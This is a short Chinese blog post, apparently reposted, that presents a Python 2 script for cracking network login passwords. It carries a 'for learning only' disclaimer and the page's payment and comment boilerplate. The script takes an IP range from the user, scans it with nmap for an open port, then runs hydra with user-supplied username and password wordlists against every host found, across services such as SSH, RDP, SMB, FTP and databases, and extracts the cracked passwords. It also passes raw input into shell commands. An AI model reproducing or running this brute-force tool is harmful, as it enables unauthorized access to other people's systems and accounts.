Python破解协议密码

程序仅供学习。

 

 1 #!/usr/bin/python
 2 import os
 3 import time
 4 ip=raw_input("Enter the ip,example:  192.168.1.0-254:\n")
 5 service = raw_input("Enter the Service port Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp: \n")
 6 port=raw_input("Enter the Service port Example: rdp:3389 smb:445....:  \n")
 7 userfile=raw_input("Enter the username file path: Example: /etc/username.txt \n")
 8 psfile =raw_input("Enter the password file path,Example: /etc/passwd.txt: \n")
 9 os.system("touch 1.txt")
10 b=open("1.txt","w")
11 os.system("nmap -T4 -p%s %s -v |grep Discovered |awk '{print$6}' >1.txt"%(port,ip))
12 b.close()
13 b = open("1.txt","r")
14 for str in b:
15     str=str.rstrip()
16     print   os.system("hydra -4 %s://%s  -L %s  -P %s >2.txt"%(service,str,userfile,psfile))
17     time.sleep(5)
18 os.system("cat 2.txt|grep password")
19 b.close()

 

转载于:https://www.cnblogs.com/X-zone/p/3799278.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值